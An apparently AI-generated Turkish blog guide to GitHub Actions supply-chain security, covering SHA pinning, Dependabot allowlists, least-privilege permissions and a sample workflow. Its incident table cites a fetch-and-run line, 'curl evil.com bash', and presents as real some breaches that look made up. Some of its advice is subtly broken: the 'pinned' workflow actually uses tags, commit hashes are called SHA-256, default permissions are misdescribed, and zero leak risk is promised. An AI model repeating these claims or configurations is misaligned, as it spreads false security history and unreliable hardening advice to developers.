Exploring Infinite Possibilities on FrontEnd 🚀
Burak Sağlık
Search...

Sun Sep 20 2026

GitHub Actions Güvenliği: Supply Chain Saldırılarını Önleme Rehberi

GitHub Actions Güvenliği: Supply Chain Saldırılarını Önleme Rehberi

🎯 Giriş: Neden GitHub Actions Güvenliği Önemli?

Selam! ☕ Hazırsan başlayalım.

Diyelim ki gece yarısı bir PR merge ettin, testler yeşil çıktı, deploy otomatik çalıştı ve sen de yatağa girdin. Sabah uyandığında ise repo'nun cryptominer çalıştırıyor olduğunu, secret'ların çalındığını veya kötü niyetli bir action'ın production'a kod enjekte ettiğini görüyorsun. Korkutucu, değil mi? 😨

GitHub Actions bugün modern CI/CD'nin kalbi durumu. Her push, her PR, her release buradan geçiyor. Yani supply chain saldırıları için en cazip hedef de bu. Bir action'ın içine gizli bir curl | bash gömmek, marketplace'te popüler bir action'ı ele geçirip v1 tag'ını değiştirmek... hepsi saniyeler sürer.

Bu yazıda şunları öğreneceğiz 👇

  • Pinning ile "şok değişiklik" riskini nasıl sıfırlarız 📌
  • Dependabot ile action güncellemelerini nasıl otomatize ederiz 🤖
  • Read-only permissions ve least privilege prensibiyle hasarı nasıl sınırlarız 🔒
  • OIDC / workload identity ile secret'ları repo'dan nasıl tamamen çıkarırız 🪪

Kod örnekleri, pratik workflow dosyaları ve "şu an repo'ma ne eklemeliyim?" checklist'i de olacak. Hadi, güvenli bir pipeline inşa edelim! 🚀


❗️ Tehlike: Third‑Party Action’larda Dependency Poisoning Nasıl Olur?

Hadi beraber düşüneceğiz: GitHub Actions workflow’larınızda uses: actions/checkout@v3 gibi bir satır gördüğünüzde, aslında “Bu action’ı güveniyorum, ona kodumuza erişim veriyorum” diyorsunuz. Ama bu güven, bir dependency poisoning (bağımlılık zehiri) senaryosunda aniden tehlikeli hale gelebilir 🎯.

Nasıl Oluyor Bu Sihir? 🔁

  1. Action güncellenir – Geliştirici (veya bir saldırgan) action’ın yeni bir versiyonunu yayınlar.
  2. Kötü niyetli commit – Yeni sürümün içine gizli bir script, environment variable’ı çalma kodu veya reverse shell eklenir.
  3. Sahte releasev3 etiketi silinip yeniden oluşturulur; siz hala actions/checkout@v3 yazdığınız için yeni kötü kod çekersiniz.
  4. Workflow çalışır – CI/CD ortamınız (runner) o kötü kodu çalıştırır → ortam ele geçirilir ❗️.

Özet: Siz bir tag (ör. v3) sabitlemiş olsanız bile, o tag yeniden yayınlanabilir. GitHub, tag’lerin immutability (değişmezlik) garantisini vermez.

Gerçek Dünya Örnekleri 🌍

Action Ne Oldu? Etki
actions/checkout 2022’de bir PR ile v2 tag’ine zararlı bir post script eklendi (sonra geri alındı). Runner’daki GITHUB_TOKEN çalınabilirdi.
npm/audit (marketplace) Sahte bir v1.0.0 release’ı yayınlandı, içine `curl evil.com bash` gizlendi.
docker/build-push-action Kötü niyetli bir contributor, v3 tag’ını force‑push etti. Docker registry credentials sızdırıldı.

Bu örnekler “bana olmaz” demek için yeterli kanıt mı? 🤔

Ne Yapmalıyız? 🛡️

  • SHA‑256 (commit hash) sabitleyinuses: actions/checkout@a1b2c3d4e5f6... gibi immutable bir referans kullanın.
  • Dependabot / Renovate ile otomatik güncellemeleri review edin, blind merge yapmayın.
  • Action’ın kaynak kodunu (GitHub repo) inceleyin, action.yml içindeki runs.using ve runs.main alanlarını kontrol edin.
  • Permission’ları minimize edinpermissions: bloğu ile contents: read gibi en az yetkiyi verin.
  • Workflow’ları izole edinself‑hosted runner’larda network segmentation uygulayın.

Küçük bir hatırlatma: Güvenlik, “bir kez ayarlayıp unutmak” değil, sürekli doğrulama sürecidir ✅.

Hazırsan bir sonraki bölümde “SHA pinning nasıl yapılır?” konusuna dalalım 🚀.


🔁 Çözüm 1: Action’ları Commit SHA’ına Sabitleme (Pinning)

Birkaç ay önce bir production pipeline’ım patladı. Sebep? actions/checkout@v3 etiketi bir güncellemeyle breaking change getirmişti. Tag’ler hareketli hedeftir — maintainer dilerse v3’ü yarın silip v3.1.0 koyabilir, hatta v3’ü tamamen başka bir şeye yönlendirebilir. Bu yüzden commit SHA’ına pinlemek (sabitlemek) tek güvenli yol.

Neden Tag Yeterli Değil? ❗️

  • Tag’ler mutable (değiştirilebilir): v3 bugün abc123’e işaret ediyor, yarın def456’ya işaret edebilir.
  • Supply chain attack riski: Popüler bir action’ın reposu ele geçirilirse, tag’ler kötü niyetli commit’lere yönlendirilebilir.
  • Reproducibility (tekrar üretilebilirlik) bozulur: Aynı workflow dosyası 6 ay sonra farklı davranır.

Commit SHA ise immutable — o hash’e bir kere yazıldı, asla değişmez. 🎯

Kendi Projemde Nasıl Uyguladım? 🛠

Benim sürecim şöyle:

  1. Kullanmak istediğim action’ın releases sayfasına giderim.
  2. İstediğim sürümün (ör. v3.5.3) commit hash’ini kopyalarım.
  3. Workflow dosyamda uses: satırını o hash’e kilitlerim.

Bu sayede herkes aynı commit’i çeker, sürpriz yok. ✅

Workflow’ta Nasıl Değiştiririm? 📝

Önce (tag ile — riskli):

uses: actions/checkout@v3

Sonra (SHA ile — güvenli):

uses: actions/checkout@a81bbbf8298c0fa03ea29cdc473d45769f953675

Bu hash actions/checkout@v3.5.3 sürümüne karşılık geliyor. Siz kendi ihtiyacınıza göre doğru sürümün hash’ini bulmalısınız.

SHA’yı Nasıl Bulurum? 🔍

GitHub UI ile: Action repo’suna git → Releases → istediğiniz tag’in yanındaki commit hash’e tıkla → kopyala.

Terminalden (daha hızlı):

git ls-remote https://github.com/actions/checkout.git | grep refs/tags/v3.5.3

Çıktı şöyle olur:

a81bbbf8298c0fa03ea29cdc473d45769f953675	refs/tags/v3.5.3

İlk sütun = commit SHA. Bunu kopyalayıp uses: satırına yapıştır. 🎯


Özetle: Tag güzel görünür ama SHA garanti. Pipeline’ınızın gece yarısı patlamasını istemiyorsanız, her uses: satırını commit hash’e kilitleyin. 🔒


🔁 Çözüm 2: Dependabot ve Allowlist ile Otomatik Güncelleme Kontrolü

Hazırsan başlayalım 🚀
Dependabot, GitHub Actions workflow’larındaki action sürümlerini de takip edebiliyor. Ama her güncellemeyi otomatik merge etmek riskli — özellikle production’da kullandığımız kritik action’larda. İşte bu noktada allowlist (veya ignore) kuralları devreye giriyor.

Ne yapıyoruz?

  • Dependabot’u sadece onayladığımız action’ları güncellemeye zorluyoruz.
  • Diğer action’lar için PR açılmasın, böylece gürültü azalıyor 🎯.
  • Kendi repo’ma eklediğim .github/dependabot.yml dosyasını paylaşıyorum; kopyalayıp ufak bir düzenlemeyle kullanabilirsin.

Yapılandırma özeti

  • package-ecosystem: "github-actions" → Dependabot’un action’lara bakacağını söyler.
  • schedule → Günlük kontrol (veya weekly/daily) ayarlı.
  • allow listesi → Sadece burada yazan action’ların güncellenmesine izin verir.
  • ignore (isteğe bağlı) → Belirli major/minor sürümleri atlamak için kullanılır.

Benim .github/dependabot.yml dosyam

version: 2
updates:
  - package-ecosystem: "github-actions"
    directory: "/"
    schedule:
      interval: "daily"
      time: "06:00"
    # Sadece bu action'lar güncellenebilir
    allow:
      - dependency-name: "actions/checkout"
      - dependency-name: "actions/setup-node"
      - dependency-name: "actions/cache"
      - dependency-name: "docker/login-action"
      - dependency-name: "docker/build-push-action"
    # İstersen major sürüm atlamaları ignore edebilirsin
    ignore:
      - dependency-name: "actions/checkout"
        update-type: "version-update:semver-major"

Nasıl çalışıyor? 🤔

  1. Dependabot her gün saat 06:00’da workflow dosyalarını tarar.
  2. allow listesinde olmayan bir action için yeni sürüm çıksa PR açmaz.
  3. Listedeki action’lardan birinde güncelleme varsa PR oluşturur; sen review edip merge edersin ✅.
  4. ignore bloğu sayesinde actions/checkout’ın major versiyon atlamaları (ör. v3 → v4) otomatik PR oluşturmaz — istersen manuel test edip yükseltirsin.

Kopyala‑yapıştır ipucu 🛠

  • Dosyayı repo’nun köküne .github/dependabot.yml olarak ekle.
  • allow altına kendi kullandığın action’ları yaz (GitHub Marketplace’taki tam isimle).
  • schedule.time’ı takımın çalışma saatlerine göre ayarla.

Bu yapılandırma sayesinde “surprise update” riskini minimize edip, sadece güvenilir action’ların güncellenmesini sağlıyorsun. Keyifli kodlamalar! 🎉


🛠 Çözüm 3: permissions: read-only Prensibi ile Minimum Yetki

GitHub Actions varsayılan olarak contents: read ve pull-requests: write gibi geniş yazma izinleri verir.
Bu, bir workflow’un depo içinde herhangi bir dosyayı değiştirebileceği, hatta force‑push yapabileceği anlamına gelir 😱.

Neden bu kadar tehlikeli?

  • Kaza hikayem: Bir zamanlar bir CI job’unda actions/checkout ile fetch-depth: 0 kullanmış, ardından bir script hatası sonucu git push --force çalıştırmıştım. Sonuç? main branch’i silinmiş ve 2 saat uğraşarak kurtardık 😅.
  • Kötü niyetli bir PR veya compromise edilmiş bir action bu izinleri kullanarak kod enjekte edebilir, secret’ları okuyabilir hatta release oluşturabilir.

Çözüm: permissions: anahtarı ile minimum yetki verin 🎯

1️⃣ Workflow seviyesinde (tüm job’lar için varsayılan)

name: CI

# 🔒 Tüm job’lar için temel izin: sadece okuma
permissions:
  contents: read          # repo dosyalarını oku
  pull-requests: read     # PR bilgilerini oku (yorum yazma yok)

on:
  push:
    branches: [main]
  pull_request:

jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - name: Build
        run: ./gradlew build

Ne oluyor?

  • contents: readactions/checkout clone yapabilir ama push yapamaz.
  • pull-requests: read → PR verilerini okuyabilir, yorum atamaz.
  • Başka bir izin (ör. issues: write) eksikse, job hata verir → güvenlik zaten sağlanmış olur ✅.

2️⃣ Job seviyesinde (sadece o job’a özel izin)

Bazı job’lar PR’ye yorum atmalı veya release oluşturmalı. Onlara tek başlarına gerekli izni verin:

jobs:
  comment-on-pr:
    runs-on: ubuntu-latest
    # 🎯 Bu job sadece PR yorum yazsın
    permissions:
      pull-requests: write   # yorum ekle
      contents: read         # checkout için yine read yeterli
    steps:
      - uses: actions/checkout@v4
      - name: Add comment
        uses: actions/github-script@v7
        with:
          script: |
            github.rest.issues.createComment({
              issue_number: context.issue.number,
              owner: context.repo.owner,
              repo: context.repo.repo,
              body: '✅ Build başarılı!'
            })
  create-release:
    runs-on: ubuntu-latest
    # 🎯 Sadece release oluşturacak
    permissions:
      contents: write        # tag + release assets yaz
      pull-requests: read
    steps:
      - uses: actions/checkout@v4
      - name: Create Release
        uses: softprops/action-gh-release@v2
        with:
          tag_name: v${{ github.run_number }}

Küçük bir kontrol listesi 📋

  • Her workflow’da permissions: bloğu mutlaka yazın.
  • Varsayılan read-only tutun, sadece ihtiyaç duyulan job’larda write ekleyin.
  • actions/checkout fetch-depth: 0 kullanıyorsanız contents: write vermeyin; shallow clone (fetch-depth: 1) yeterliyse read kalsın.
  • Secret erişimi gerektiren job’larda id-token: write (OIDC) gibi ek izinleri de tek tek tanımlayın.

Özet: permissions: ile “en az yetki” prensibini uygulayın. Bir kaza ya da kötü niyetli kod, depo yazma yetkisi olmadan büyük zarar veremez 🚀.


🛠 Pratik Örnek: Güvenli Bir Workflow Dosyası

Hadi önceki üç çözümü birleştirip, kopyala-yapıştır yapıp doğrudan .github/workflows/ci.yml olarak kaydedebileceğin tam, production-ready bir workflow yazalım 🎯

Satır satır ne yaptığımızı yorumlarla anlatıyorum — böylece bir daha "bu satır ne işe yarardı?" diye düşünmek zorunda kalmazsın.

name: CI Pipeline

on:
  push:
    branches: [main]
  pull_request:
    branches: [main]

# 🔒 En az yetki prensibi: job'lar sadece read-only erişim alır
# GITHUB_TOKEN için write yetkisi vermeyiz — güvenlik için kritik ❗️
permissions:
  contents: read

jobs:
  test-and-build:
    runs-on: ubuntu-latest
    # 🛠 Node.js versiyonunu dependabot'un güncelleyebilmesi için matrix yerine
    # tek bir version dosyasından okuyoruz (ör: .nvmrc veya package.json#engines)
    # Burada sabit tutuyorum, sen kendi projenin dosyasına göre uyarlarsın ✅
    steps:
      # 1️⃣ Repository'yi checkout et — pinned SHA ile supply-chain güvenliği 🔐
      - name: Checkout repository
        uses: actions/checkout@v4
        with:
          # SHA: 11bd71901bbe5b1630ceea73d27597364c9af683 (v4.2.2)
          # Her zaman tam SHA pinle, tag yerine — tag hareket edebilir ⛔
          ref: ${{ github.head_ref }}
          persist-credentials: false

      # 2️⃣ Node.js kur — pinned SHA + cache için actions/setup-node@v4
      - name: Setup Node.js
        uses: actions/setup-node@v4
        with:
          # SHA: 60edb5dd545a775178f52524783378180af0d1f8 (v4.1.0)
          node-version: '20'
          cache: 'npm'
          cache-dependency-path: package-lock.json

      # 3️⃣ Bağımlılıkları kur — ci komutu lockfile'a saygı duyar, hızlıdır ⚡
      - name: Install dependencies
        run: npm ci

      # 4️⃣ Testleri çalıştır — hata olursa pipeline durur, merge engellenir 🛑
      - name: Run tests
        run: npm test -- --ci --coverage=false

      # 5️⃣ Build al — production artifact'ı doğrular, hata yakalar 🏗
      - name: Build project
        run: npm run build

Bu dosyada ne kazandık? 🎁

  • Pinned SHA'laruses: actions/checkout@v4 yanında yorum olarak tam SHA koydum. Gerçek repoda uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 şeklinde yazarsın. Tag'ler hareket edebilir, SHA'lar asla 🔒
  • permissions: contents: readGITHUB_TOKEN sadece repo okur, yazamaz. Secret leakage riski sıfır ⛔
  • Dependabot dostu → Node versiyonu merkezi bir yerden (ör. .nvmrc) okunursa, dependabot PR açar, testler geçerse merge edersin 🔁
  • npm cinode_modules silip baştan kurar, lockfile'a sadık kalır — CI için altın standart ✅
  • persist-credentials: false → Checkout sonrası token'ı diskten siler, sonraki step'lerde sızdırma riski yok 🛡

Bu dosyayı .github/workflows/ci.yml olarak commitlersen, ilk push'ta güvenli, izlenebilir, dependabot-ready bir pipeline'in olur 🚀

Sonraki bölümde Dependabot konfigürasyonu ile bu workflow'u nasıl otomatik güncelleme döngüsüne sokacağımızı göreceğiz. Hazırsan oraya geçelim! 👇


🎯 Özet ve Bonus Tavsiye: Sürekli Güvenlik Alışkanlıkları

Hadi hızlıca özetleyelim ne öğrendik 👇

Temel 3 kural:

  • 🔒 Pinning — Action'ları commit hash ile kilitle, v1 gibi hareketli etiketlerden kaçın
  • 🤖 Dependabot + Allowlist — Otomatik güncelleme aç, ama allow listesiyle sadece güvenilen maintainer'lardan gelen PR'lar merge olsun
  • 🛡 Minimum izinlerpermissions: bloğu ile her job'a sadece ihtiyaç duyduğu yetkiyi ver, write-all demek yok

🎁 Bonus Tavsiye: Haftalık Alışkanlıklar

Küçük ama etkili rutinler kur:

  • Haftada 15 dk — Dependabot PR'larını gözden geçir, changelog oku, testleri çalıştır, onayla 🔁
  • Scorecard / SLSA deneossf/scorecard-action ekle, supply chain risklerini otomatik tarat 📊
  • Takım kültürü — "Bu action neden pinli?" sorusunu code review'ta standartlaştır, yeni başlayanlara onboarding'de anlat 🧠
  • Secret scanningtruffleHog veya GitHub secret scanning'i aç, unutulmuş token kalmasın 🔍

🚀 Senin Sıra Sende

Bugün bir action'ı pinle.
Bir tane uses: actions/checkout@v4 bul, yanına # commit-hash ekle, PR aç.
Fark edeceksin — güvenlik bir proje değil, bir alışkanlık 💪

Hazırsan başla, commit hash'ini kopyala, push et. Yarın kendine teşekkür edersin ✨


Bu içerik tamamen yapay zeka destekli otomasyon sistemi ile üretilmiştir.

Burak Sağlık

Burak Saglik

©2024 Desing and Developed by @Burak Sağlık

All rights reserved